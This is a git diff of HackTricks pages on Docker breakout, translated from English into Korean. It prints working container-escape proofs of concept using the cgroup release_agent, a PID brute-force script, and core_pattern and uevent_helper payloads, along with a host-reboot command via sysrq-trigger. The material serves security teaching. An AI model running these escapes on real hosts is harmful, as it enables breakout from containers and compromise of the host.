IPC, 유닉스 소켓, 네트워크 서비스, D-Bus, 다른 프로세스의 `/proc`를 통해 통신할 수 없음). +- **루트 사용자**: 기본적으로 프로세스를 실행하는 사용자는 루트 사용자입니다(그러나 권한은 제한적입니다). +- **권한**: 도커는 다음 권한을 남깁니다: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` +- **시스템 호출**: **루트 사용자가 호출할 수 없는** 시스템 호출입니다(권한 부족 + Seccomp로 인해). 다른 시스템 호출은 탈출을 시도하는 데 사용될 수 있습니다. {{#tabs}} {{#tab name="x64 syscalls"}} - ```yaml 0x067 -- syslog 0x070 -- setsid @@ -560,11 +504,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape 0x140 -- kexec_file_load 0x141 -- bpf ``` - {{#endtab}} {{#tab name="arm64 syscalls"}} - ``` 0x029 -- pivot_root 0x059 -- acct @@ -582,11 +524,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape 0x111 -- finit_module 0x118 -- bpf ``` - {{#endtab}} {{#tab name="syscall_bf.c"}} - ````c // From a conversation I had with @arget131 // Fir bfing syscalss in x64 @@ -598,31 +538,32 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape int main() { - for(int i = 0; i < 333; ++i) - { - if(i == SYS_rt_sigreturn) continue; - if(i == SYS_select) continue; - if(i == SYS_pause) continue; - if(i == SYS_exit_group) continue; - if(i == SYS_exit) continue; - if(i == SYS_clone) continue; - if(i == SYS_fork) continue; - if(i == SYS_vfork) continue; - if(i == SYS_pselect6) continue; - if(i == SYS_ppoll) continue; - if(i == SYS_seccomp) continue; - if(i == SYS_vhangup) continue; - if(i == SYS_reboot) continue; - if(i == SYS_shutdown) continue; - if(i == SYS_msgrcv) continue; - printf("Probando: 0x%03x . . . ", i); fflush(stdout); - if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM)) - printf("Error\n"); - else - printf("OK\n"); - } +for(int i = 0; i < 333; ++i) +{ +if(i == SYS_rt_sigreturn) continue; +if(i == SYS_select) continue; +if(i == SYS_pause) continue; +if(i == SYS_exit_group) continue; +if(i == SYS_exit) continue; +if(i == SYS_clone) continue; +if(i == SYS_fork) continue; +if(i == SYS_vfork) continue; +if(i == SYS_pselect6) continue; +if(i == SYS_ppoll) continue; +if(i == SYS_seccomp) continue; +if(i == SYS_vhangup) continue; +if(i == SYS_reboot) continue; +if(i == SYS_shutdown) continue; +if(i == SYS_msgrcv) continue; +printf("Probando: 0x%03x . . . ", i); fflush(stdout); +if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM)) +printf("Error\n"); +else +printf("OK\n"); +} } ``` + ```` {{#endtab}} @@ -633,12 +574,12 @@ int main() If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode): - Find the **path of the containers filesystem** inside the host - - You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit +- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit - Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens - - You should be able to **execute the trigger from inside the host** - - You need to know where the containers files are located inside the host to indicate a script you write inside the host +- You should be able to **execute the trigger from inside the host** +- You need to know where the containers files are located inside the host to indicate a script you write inside the host - Have **enough capabilities and disabled protections** to be able to abuse that functionality - - You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container +- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container ## References @@ -650,11 +591,4 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket) - [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4) -
- -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index 7d16ec4a4..cfe939f2e 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -2,10 +2,9 @@ {{#include ../../../../banners/hacktricks-training.md}} -**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary: +**자세한 내용은** [**원본 블로그 게시물**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**을 참조하십시오.** 이것은 요약입니다: Original PoC: - ```shell d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release @@ -13,49 +12,38 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` +개념 증명(Proof of Concept, PoC)은 `release_agent` 파일을 생성하고 이를 호출하여 컨테이너 호스트에서 임의의 명령을 실행하는 방법을 보여줍니다. 다음은 관련 단계의 요약입니다: -The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved: - -1. **Prepare the Environment:** - - A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup. - - The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative. - +1. **환경 준비:** +- `/tmp/cgrp` 디렉토리가 cgroup의 마운트 지점으로 사용되도록 생성됩니다. +- RDMA cgroup 컨트롤러가 이 디렉토리에 마운트됩니다. RDMA 컨트롤러가 없는 경우, `memory` cgroup 컨트롤러를 대안으로 사용하는 것이 좋습니다. ```shell mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x ``` - -2. **Set Up the Child Cgroup:** - - A child cgroup named "x" is created within the mounted cgroup directory. - - Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file. - +2. **자식 Cgroup 설정:** +- 마운트된 cgroup 디렉토리 내에 "x"라는 이름의 자식 cgroup이 생성됩니다. +- "x" cgroup에 대해 notify_on_release 파일에 1을 작성하여 알림이 활성화됩니다. ```shell echo 1 > /tmp/cgrp/x/notify_on_release ``` - -3. **Configure the Release Agent:** - - The path of the container on the host is obtained from the /etc/mtab file. - - The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path. - +3. **릴리스 에이전트 구성:** +- 호스트의 컨테이너 경로는 /etc/mtab 파일에서 가져옵니다. +- 그런 다음 cgroup의 release_agent 파일을 구성하여 획득한 호스트 경로에 위치한 /cmd라는 스크립트를 실행합니다. ```shell host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` - -4. **Create and Configure the /cmd Script:** - - The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified. - +4. **/cmd 스크립트 생성 및 구성:** +- /cmd 스크립트는 컨테이너 내에서 생성되며 ps aux를 실행하도록 구성되어 있으며, 출력은 컨테이너 내의 /output이라는 파일로 리디렉션됩니다. 호스트에서 /output의 전체 경로가 지정됩니다. ```shell echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd ``` - -5. **Trigger the Attack:** - - A process is initiated within the "x" child cgroup and is immediately terminated. - - This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container. - +5. **공격 시작:** +- "x" 자식 cgroup 내에서 프로세스가 시작되고 즉시 종료됩니다. +- 이로 인해 `release_agent`(즉, /cmd 스크립트)가 트리거되어 호스트에서 ps aux를 실행하고 출력을 컨테이너 내의 /output에 기록합니다. ```shell sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md index 5c3c57d9f..e7a62fcd7 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md @@ -1,27 +1,26 @@ {{#include ../../../../banners/hacktricks-training.md}} -For further details **check the blog port from [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. This is just a summary: +자세한 내용은 **[https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)** 블로그 포트를 확인하세요. 이것은 요약입니다: -The technique outlines a method for **executing host code from within a container**, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings. +이 기술은 **컨테이너 내에서 호스트 코드를 실행하는 방법**을 설명하며, Kata Containers 또는 특정 `devicemapper` 설정과 같이 호스트의 파일 시스템 경로를 숨기는 스토리지 드라이버 구성으로 인한 문제를 극복합니다. -Key steps: +주요 단계: -1. **Locating Process IDs (PIDs):** Using the `/proc//root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host. -2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc//root/`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container. -3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file. +1. **프로세스 ID (PID) 찾기:** Linux 가상 파일 시스템의 `/proc//root` 심볼릭 링크를 사용하여, 컨테이너 내의 모든 파일에 호스트의 파일 시스템을 기준으로 접근할 수 있습니다. 이는 호스트에서 컨테이너의 파일 시스템 경로를 알 필요를 우회합니다. +2. **PID 브루트 포스:** 호스트의 PID를 검색하기 위해 브루트 포스 접근 방식이 사용됩니다. 이는 `/proc//root/`에서 특정 파일의 존재 여부를 순차적으로 확인함으로써 수행됩니다. 파일이 발견되면, 해당 PID가 대상 컨테이너 내에서 실행 중인 프로세스에 속함을 나타냅니다. +3. **실행 트리거:** 추측한 PID 경로가 `cgroups release_agent` 파일에 기록됩니다. 이 작업은 `release_agent`의 실행을 트리거합니다. 이 단계의 성공은 출력 파일의 생성 여부를 확인하여 확인됩니다. -### Exploitation Process +### 익스플로잇 과정 -The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds: +익스플로잇 과정은 컨테이너 내에서 실행 중인 프로세스의 올바른 PID를 추측하여 호스트에서 페이로드를 실행하는 것을 목표로 하는 보다 상세한 일련의 작업을 포함합니다. 다음은 그 진행 방식입니다: -1. **Initialize Environment:** A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation. -2. **Prepare Payload:** The payload script, which contains the commands to be executed on the host, is written and made executable. -3. **Set Up Cgroup:** The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released. -4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`. -5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution. - -PoC from the blog post: +1. **환경 초기화:** 호스트에서 페이로드 스크립트(`payload.sh`)가 준비되고, cgroup 조작을 위한 고유한 디렉토리가 생성됩니다. +2. **페이로드 준비:** 호스트에서 실행될 명령을 포함하는 페이로드 스크립트가 작성되고 실행 가능하게 설정됩니다. +3. **Cgroup 설정:** cgroup이 마운트되고 구성됩니다. `notify_on_release` 플래그가 설정되어 cgroup이 해제될 때 페이로드가 실행되도록 합니다. +4. **PID 브루트 포스:** 루프가 잠재적인 PID를 반복하며, 각 추측한 PID를 `release_agent` 파일에 기록합니다. 이는 페이로드 스크립트를 `release_agent`로 설정하는 효과를 냅니다. +5. **실행 트리거 및 확인:** 각 PID에 대해 cgroup의 `cgroup.procs`에 기록하여, PID가 올바른 경우 `release_agent`의 실행을 트리거합니다. 출력이 발견될 때까지 루프가 계속되며, 이는 성공적인 실행을 나타냅니다. +블로그 게시물의 PoC: ```bash #!/bin/sh @@ -60,20 +59,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release TPID=1 while [ ! -f ${OUTPUT_PATH} ] do - if [ $((${TPID} % 100)) -eq 0 ] - then - echo "Checking pid ${TPID}" - if [ ${TPID} -gt ${MAX_PID} ] - then - echo "Exiting at ${MAX_PID} :-(" - exit 1 - fi - fi - # Set the release_agent path to the guessed pid - echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent - # Trigger execution of the release_agent - sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" - TPID=$((${TPID} + 1)) +if [ $((${TPID} % 100)) -eq 0 ] +then +echo "Checking pid ${TPID}" +if [ ${TPID} -gt ${MAX_PID} ] +then +echo "Exiting at ${MAX_PID} :-(" +exit 1 +fi +fi +# Set the release_agent path to the guessed pid +echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent +# Trigger execution of the release_agent +sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" +TPID=$((${TPID} + 1)) done # Wait for and cat the output @@ -81,5 +80,4 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index 718263059..b88355ad2 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -2,172 +2,168 @@ {{#include ../../../../banners/hacktricks-training.md}} -
+`/proc` 및 `/sys`의 적절한 네임스페이스 격리 없이 노출되면 공격 표면 확대 및 정보 유출을 포함한 상당한 보안 위험이 발생합니다. 이러한 디렉토리는 민감한 파일을 포함하고 있으며, 잘못 구성되거나 무단 사용자가 접근할 경우 컨테이너 탈출, 호스트 수정 또는 추가 공격에 도움이 되는 정보를 제공할 수 있습니다. 예를 들어, `-v /proc:/host/proc`를 잘못 마운트하면 경로 기반 특성으로 인해 AppArmor 보호를 우회할 수 있으며, `/host/proc`가 보호되지 않게 됩니다. -{% embed url="https://websec.nl/" %} - -The exposure of `/proc` and `/sys` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected. - -**You can find further details of each potential vuln in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** +**각 잠재적 취약점에 대한 추가 세부정보는** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**에서 확인할 수 있습니다.** ## procfs Vulnerabilities ### `/proc/sys` -This directory permits access to modify kernel variables, usually via `sysctl(2)`, and contains several subdirectories of concern: +이 디렉토리는 일반적으로 `sysctl(2)`를 통해 커널 변수를 수정할 수 있는 접근을 허용하며, 여러 개의 우려되는 하위 디렉토리를 포함합니다: #### **`/proc/sys/kernel/core_pattern`** -- Described in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). -- Allows defining a program to execute on core-file generation with the first 128 bytes as arguments. This can lead to code execution if the file begins with a pipe `|`. -- **Testing and Exploitation Example**: +- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html)에서 설명됨. +- 코어 파일 생성 시 실행할 프로그램을 정의할 수 있으며, 첫 128 바이트가 인수로 사용됩니다. 파일이 파이프 `|`로 시작하면 코드 실행으로 이어질 수 있습니다. +- **테스트 및 악용 예시**: - ```bash - [ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access - cd /proc/sys/kernel - echo "|$overlay/shell.sh" > core_pattern # Set custom handler - sleep 5 && ./crash & # Trigger handler - ``` +```bash +[ -w /proc/sys/kernel/core_pattern ] && echo Yes # 쓰기 접근 테스트 +cd /proc/sys/kernel +echo "|$overlay/shell.sh" > core_pattern # 사용자 정의 핸들러 설정 +sleep 5 && ./crash & # 핸들러 트리거 +``` #### **`/proc/sys/kernel/modprobe`** -- Detailed in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- Contains the path to the kernel module loader, invoked for loading kernel modules. -- **Checking Access Example**: +- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 자세히 설명됨. +- 커널 모듈 로더의 경로를 포함하며, 커널 모듈을 로드하기 위해 호출됩니다. +- **접근 확인 예시**: - ```bash - ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe - ``` +```bash +ls -l $(cat /proc/sys/kernel/modprobe) # modprobe 접근 확인 +``` #### **`/proc/sys/vm/panic_on_oom`** -- Referenced in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- A global flag that controls whether the kernel panics or invokes the OOM killer when an OOM condition occurs. +- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 참조됨. +- OOM 조건이 발생할 때 커널이 패닉을 일으키거나 OOM 킬러를 호출할지를 제어하는 전역 플래그입니다. #### **`/proc/sys/fs`** -- As per [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contains options and information about the file system. -- Write access can enable various denial-of-service attacks against the host. +- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에 따라 파일 시스템에 대한 옵션 및 정보를 포함합니다. +- 쓰기 접근은 호스트에 대한 다양한 서비스 거부 공격을 가능하게 할 수 있습니다. #### **`/proc/sys/fs/binfmt_misc`** -- Allows registering interpreters for non-native binary formats based on their magic number. -- Can lead to privilege escalation or root shell access if `/proc/sys/fs/binfmt_misc/register` is writable. -- Relevant exploit and explanation: - - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) - - In-depth tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) +- 매직 넘버에 따라 비네이티브 이진 형식에 대한 인터프리터를 등록할 수 있습니다. +- `/proc/sys/fs/binfmt_misc/register`가 쓰기 가능할 경우 권한 상승 또는 루트 셸 접근으로 이어질 수 있습니다. +- 관련된 악용 및 설명: +- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) +- 심층 튜토리얼: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) ### Others in `/proc` #### **`/proc/config.gz`** -- May reveal the kernel configuration if `CONFIG_IKCONFIG_PROC` is enabled. -- Useful for attackers to identify vulnerabilities in the running kernel. +- `CONFIG_IKCONFIG_PROC`가 활성화된 경우 커널 구성을 노출할 수 있습니다. +- 공격자가 실행 중인 커널의 취약점을 식별하는 데 유용합니다. #### **`/proc/sysrq-trigger`** -- Allows invoking Sysrq commands, potentially causing immediate system reboots or other critical actions. -- **Rebooting Host Example**: +- Sysrq 명령을 호출할 수 있으며, 즉각적인 시스템 재부팅 또는 기타 중요한 작업을 유발할 수 있습니다. +- **호스트 재부팅 예시**: - ```bash - echo b > /proc/sysrq-trigger # Reboots the host - ``` +```bash +echo b > /proc/sysrq-trigger # 호스트 재부팅 +``` #### **`/proc/kmsg`** -- Exposes kernel ring buffer messages. -- Can aid in kernel exploits, address leaks, and provide sensitive system information. +- 커널 링 버퍼 메시지를 노출합니다. +- 커널 악용, 주소 유출 및 민감한 시스템 정보를 제공하는 데 도움이 될 수 있습니다. #### **`/proc/kallsyms`** -- Lists kernel exported symbols and their addresses. -- Essential for kernel exploit development, especially for overcoming KASLR. -- Address information is restricted with `kptr_restrict` set to `1` or `2`. -- Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- 커널에서 내보낸 심볼과 그 주소를 나열합니다. +- KASLR을 극복하기 위한 커널 악용 개발에 필수적입니다. +- 주소 정보는 `kptr_restrict`가 `1` 또는 `2`로 설정된 경우 제한됩니다. +- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 자세한 내용. #### **`/proc/[pid]/mem`** -- Interfaces with the kernel memory device `/dev/mem`. -- Historically vulnerable to privilege escalation attacks. -- More on [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- 커널 메모리 장치 `/dev/mem`와 인터페이스합니다. +- 역사적으로 권한 상승 공격에 취약했습니다. +- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 더 많은 정보. #### **`/proc/kcore`** -- Represents the system's physical memory in ELF core format. -- Reading can leak host system and other containers' memory contents. -- Large file size can lead to reading issues or software crashes. -- Detailed usage in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/). +- 시스템의 물리적 메모리를 ELF 코어 형식으로 나타냅니다. +- 읽기는 호스트 시스템 및 다른 컨테이너의 메모리 내용을 유출할 수 있습니다. +- 큰 파일 크기는 읽기 문제 또는 소프트웨어 충돌을 초래할 수 있습니다. +- [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)에서 자세한 사용법. #### **`/proc/kmem`** -- Alternate interface for `/dev/kmem`, representing kernel virtual memory. -- Allows reading and writing, hence direct modification of kernel memory. +- 커널 가상 메모리를 나타내는 `/dev/kmem`의 대체 인터페이스입니다. +- 읽기 및 쓰기를 허용하므로 커널 메모리를 직접 수정할 수 있습니다. #### **`/proc/mem`** -- Alternate interface for `/dev/mem`, representing physical memory. -- Allows reading and writing, modification of all memory requires resolving virtual to physical addresses. +- 물리적 메모리를 나타내는 `/dev/mem`의 대체 인터페이스입니다. +- 읽기 및 쓰기를 허용하며, 모든 메모리 수정을 위해 가상 주소를 물리적 주소로 변환해야 합니다. #### **`/proc/sched_debug`** -- Returns process scheduling information, bypassing PID namespace protections. -- Exposes process names, IDs, and cgroup identifiers. +- PID 네임스페이스 보호를 우회하여 프로세스 스케줄링 정보를 반환합니다. +- 프로세스 이름, ID 및 cgroup 식별자를 노출합니다. #### **`/proc/[pid]/mountinfo`** -- Provides information about mount points in the process's mount namespace. -- Exposes the location of the container `rootfs` or image. +- 프로세스의 마운트 네임스페이스에서 마운트 지점에 대한 정보를 제공합니다. +- 컨테이너 `rootfs` 또는 이미지의 위치를 노출합니다. ### `/sys` Vulnerabilities #### **`/sys/kernel/uevent_helper`** -- Used for handling kernel device `uevents`. -- Writing to `/sys/kernel/uevent_helper` can execute arbitrary scripts upon `uevent` triggers. -- **Example for Exploitation**: %%%bash +- 커널 장치 `uevents`를 처리하는 데 사용됩니다. +- `/sys/kernel/uevent_helper`에 쓰면 `uevent` 트리거 시 임의의 스크립트를 실행할 수 있습니다. +- **악용 예시**: %%%bash - #### Creates a payload +#### 페이로드 생성 - echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper +echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper - #### Finds host path from OverlayFS mount for container +#### OverlayFS 마운트에서 호스트 경로 찾기 - host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab) +host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab) - #### Sets uevent_helper to malicious helper +#### 악성 헬퍼로 uevent_helper 설정 - echo "$host_path/evil-helper" > /sys/kernel/uevent_helper +echo "$host_path/evil-helper" > /sys/kernel/uevent_helper - #### Triggers a uevent +#### uevent 트리거 - echo change > /sys/class/mem/null/uevent +echo change > /sys/class/mem/null/uevent - #### Reads the output +#### 출력 읽기 - cat /output %%% +cat /output %%% #### **`/sys/class/thermal`** -- Controls temperature settings, potentially causing DoS attacks or physical damage. +- 온도 설정을 제어하며, 서비스 거부 공격이나 물리적 손상을 초래할 수 있습니다. #### **`/sys/kernel/vmcoreinfo`** -- Leaks kernel addresses, potentially compromising KASLR. +- 커널 주소를 유출하여 KASLR을 손상시킬 수 있습니다. #### **`/sys/kernel/security`** -- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor. -- Access might enable a container to disable its MAC system. +- Linux 보안 모듈(AppArmor 등)의 구성을 허용하는 `securityfs` 인터페이스를 포함합니다. +- 접근이 가능하면 컨테이너가 자신의 MAC 시스템을 비활성화할 수 있습니다. -#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`** +#### **`/sys/firmware/efi/vars` 및 `/sys/firmware/efi/efivars`** -- Exposes interfaces for interacting with EFI variables in NVRAM. -- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines. +- NVRAM에서 EFI 변수와 상호작용하기 위한 인터페이스를 노출합니다. +- 잘못된 구성이나 악용은 브릭된 노트북이나 부팅 불가능한 호스트 머신으로 이어질 수 있습니다. #### **`/sys/kernel/debug`** -- `debugfs` offers a "no rules" debugging interface to the kernel. -- History of security issues due to its unrestricted nature. +- `debugfs`는 커널에 대한 "규칙 없음" 디버깅 인터페이스를 제공합니다. +- 제한 없는 특성으로 인해 보안 문제의 이력이 있습니다. ### References @@ -175,8 +171,4 @@ This directory permits access to modify kernel variables, usually via `sysctl(2) - [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf) - [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf) -
- -{% embed url="https://websec.nl/" %} - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md index ce967ad2d..020e95b9c 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md @@ -2,28 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -## What Affects +## 영향을 미치는 것 -When you run a container as privileged these are the protections you are disabling: +특권이 있는 컨테이너를 실행할 때 비활성화되는 보호 기능은 다음과 같습니다: -### Mount /dev +### /dev 마운트 -In a privileged container, all the **devices can be accessed in `/dev/`**. Therefore you can **escape** by **mounting** the disk of the host. +특권 컨테이너에서는 모든 **장치가 `/dev/`에서 접근 가능합니다**. 따라서 **호스트의** 디스크를 **마운트**하여 **탈출**할 수 있습니다. {{#tabs}} -{{#tab name="Inside default container"}} - +{{#tab name="기본 컨테이너 내부"}} ```bash # docker run --rm -it alpine sh ls /dev console fd mqueue ptmx random stderr stdout urandom core full null pts shm stdin tty zero ``` - {{#endtab}} {{#tab name="Inside Privileged Container"}} - ```bash # docker run --rm --privileged -it alpine sh ls /dev @@ -33,17 +30,15 @@ core mqueue ptmx stdin tty26 cpu nbd0 pts stdout tty27 tty47 ttyS0 [...] ``` - {{#endtab}} {{#endtabs}} -### Read-only kernel file systems +### 읽기 전용 커널 파일 시스템 -Kernel file systems provide a mechanism for a process to modify the behavior of the kernel. However, when it comes to container processes, we want to prevent them from making any changes to the kernel. Therefore, we mount kernel file systems as **read-only** within the container, ensuring that the container processes cannot modify the kernel. +커널 파일 시스템은 프로세스가 커널의 동작을 수정할 수 있는 메커니즘을 제공합니다. 그러나 컨테이너 프로세스의 경우, 커널에 대한 변경을 방지하고자 합니다. 따라서 우리는 커널 파일 시스템을 컨테이너 내에서 **읽기 전용**으로 마운트하여 컨테이너 프로세스가 커널을 수정할 수 없도록 합니다. {{#tabs}} -{{#tab name="Inside default container"}} - +{{#tab name="기본 컨테이너 내부"}} ```bash # docker run --rm -it alpine sh mount | grep '(ro' @@ -52,28 +47,24 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu) cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct) ``` - {{#endtab}} {{#tab name="Inside Privileged Container"}} - ```bash # docker run --rm --privileged -it alpine sh mount | grep '(ro' ``` - {{#endtab}} {{#endtabs}} -### 